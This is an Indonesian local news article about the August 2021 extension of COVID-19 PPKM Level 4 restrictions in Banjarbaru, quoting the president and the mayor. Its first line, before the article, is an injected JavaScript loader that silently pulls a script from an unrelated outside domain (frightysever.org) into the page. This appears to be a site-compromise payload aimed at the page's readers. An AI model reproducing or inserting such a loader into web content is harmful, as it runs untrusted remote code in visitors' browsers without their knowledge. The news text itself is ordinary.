(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah mengumumkan status perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 di Kota Banjarbaru. Regulasi untuk mengendalikan pandemi Covid-19 itu yang berakhir masanya pada 2 Agustus, kini diperpanjang hingga 9 Agustus mendatang.
Keputusan terkait perpanjangan PPKM Level 4 di wilayah Banjarbaru merupakan instruksi yang diberikan oleh Presiden RI, Joko Widodo. Menurut Jokowi, penerapan PPKM level 4 telah membawa perbaikan di skala nasional dibanding sebelumnya.
Perbaikan itu di antaranya terkait turunnya kasus konfirmasi harian, tingkat kasus aktif, tingkat kesembuhan, hingga persentase tempat tidur untuk perawatan pasien Covid-19.
Baca juga: Honorer Guru Deg-degan Tunggu Hasil Seleksi PPPK, Website SSCASN Tak Bisa Diakses
“Walaupun sudah mulai ada perbaikan namun perkembangan kasus COVID-19 masih sangat dinamis dan fluktuatif. Sekali lagi, kita harus terus waspada dalam melakukan berbagai upaya untuk mengendalikan kasus COVID-19 ini,” ujar Presiden dalam pidatonya, Senin (2/8/2021).
Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin, menegaskan akan menjalankan seluruh kebijakan sebagaimana instruksi pemerintah pusat. Pun diakuinya gelombang penyebaran Covid-19 yang sangat masif beberapa waktu terakhir memang sangat memprihatinkan khususnya di wilayah Banjarbaru.
Baca juga: UPDATE. Covid-19 Kalsel Hari Ini Tambah 470 Kasus dan 20 Orang Meninggal!
“Kami Forkopimda Kota Banjarbaru, sangat prihatin dengan penyebaran Covid-19 beberapa waktu terakhir ini. Kerja sama masyarakat sangat penting saat ini kita lakukan terutama dengan pelaksanaan protokol kesehatan, selain vaksin hari ini kunci keberhasilan adalah protokol kesehatan,” ucapnya.
Aditya mengakui bahwa sejatinya PPKM Level 4 cukup membebani masyarakat, khususnya di sektor ekonomi. Kendati demikian, terangnya pemerintah akan berusaha mengurangi beban masyarakat salah satunya melalui penyaluran bantuan sosial. Dirinya menegaskan pandemi Covid-19 harus dihadapi bersama-sama dan salin berempati terhadap sesama.
“Kami mengerti keadaan ekonomi, keadaan perasaan masyarakat saat ini. Untuk itu sekali lagi mari kita terapkan protokol kesehatan secara ketat agar kita bisa menekan penyebaran Covid-19 ini,” tuntas Wali Kota Banjarbaru.(Kanalkalimantan.com/al)
Reporter: al
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.